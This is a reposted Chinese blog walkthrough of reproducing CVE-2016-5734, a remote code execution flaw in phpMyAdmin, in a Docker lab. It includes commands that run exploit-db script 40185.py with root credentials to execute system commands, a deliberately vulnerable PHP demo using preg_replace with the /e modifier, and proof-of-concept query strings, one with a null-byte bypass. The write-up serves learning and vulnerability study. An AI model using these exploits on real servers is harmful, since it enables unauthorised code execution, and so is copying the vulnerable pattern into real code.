phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734)
2021-05-28 12:02
标签:需要 架构 art sql数据库 docker 数据 就是 后台 启动 Phpmyadmin是一个以php为基础,以Web-Base方式架构在网站主机上的MySQL的数据库管理工具,让管理者可以使用Web接口管理MySQL数据库。 借由次Web接口可以成为一个简单方式输入SQL语法的较佳途径。其优势就是可以通过Web界面来远程管理方便建立、修改、删除数据库及资料表 利用条件:需要知道数据库账号密码 Phpmyadmin -> 4.0.10.16之前的4.0.x版本 攻击机kali:192.168.117.129 启动命令:docker-compose up -d 查看是否启动:docker ps (默认的映射端口是8081,我改成了8081) 先访问一下网站(账号是root,密码是root) 我们用kali自带的searchsploit工具搜索漏洞。 命令: 进入该文件夹,查看该文件 这里写有该脚本的用法。 --pwd,后填上phpmyadmin的密码 -c,后面是要执行的php代码 exp利用: preg_replace函数: preg_replace \e 的作用: preg_replace漏洞触发有两个前提: 测试一下利用\e实现代码执行: poc: 如果我们的demo变成了如下的代码,还会有漏洞吗? 其实还是可以绕过的,当php版本小于5.4.7时,向pattern中注入空字符产生截断,并传入e修饰符,依照能照成php代码执行。 poc: 出处:CVE-2016-5734 Phpmyadmin后台代码执行漏洞复现_丶没胡子的猫-CSDN博客 phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734) 标签:需要 架构 art sql数据库 docker 数据 就是 后台 启动 原文地址:https://www.cnblogs.com/lthlsy/p/14773290.html漏洞简介
影响版本
4.4.15.7 之前的 4.4.x版本
4.6.3之前的 4.6.x版本
Php版本: 4.3.0 ~5.4.6
Php 5.0 版本以上的将 preg_replace 的 /e修饰符给废弃掉了环境搭建
靶机IP:192.168.117.128
靶机环境: kali
使用的是Docker + Docker-compose 开源项目vulhub复现过程
searchsploit phpmyadmin
sudo find / -name 40185.py
cd /usr/share/exploitdb/exploits/php/webapps/ && cat 40185.py
python3 40185.py -u root --pwd="root" http://192.168.117.128:8081 -c "system(‘ls‘);"
漏洞成因
preg_replace 函数执行一个正则表达式的搜索和替换。
如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.
01:第一个参数需要e标识符,有了它可以执行第二个参数的命令
02:第一个参数需要在第三个参数中的中有匹配,不然echo会返回第三个参数而不执行命令。php
highlight_file(__FILE__);
$raw = $_GET[‘raw‘];
$replace = $_GET[‘replace‘];
$text = $_GET[‘text‘];
$text = preg_replace(‘/‘.$raw.‘/e‘, $replace, $text);
?>
?raw=a&replace=system("ls")&text=larry
php
highlight_file(__FILE__);
$raw = $_GET[‘raw‘];
$replace = $_GET[‘replace‘];
$text = $_GET[‘text‘];
$text = preg_replace(‘/‘.$raw.‘/i‘, $replace, $text);
?>
?raw=a/e%00&replace=system(%22ls%22)&text=larry
文章标题:phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734)
文章链接:http://soscw.com/index.php/essay/88665.html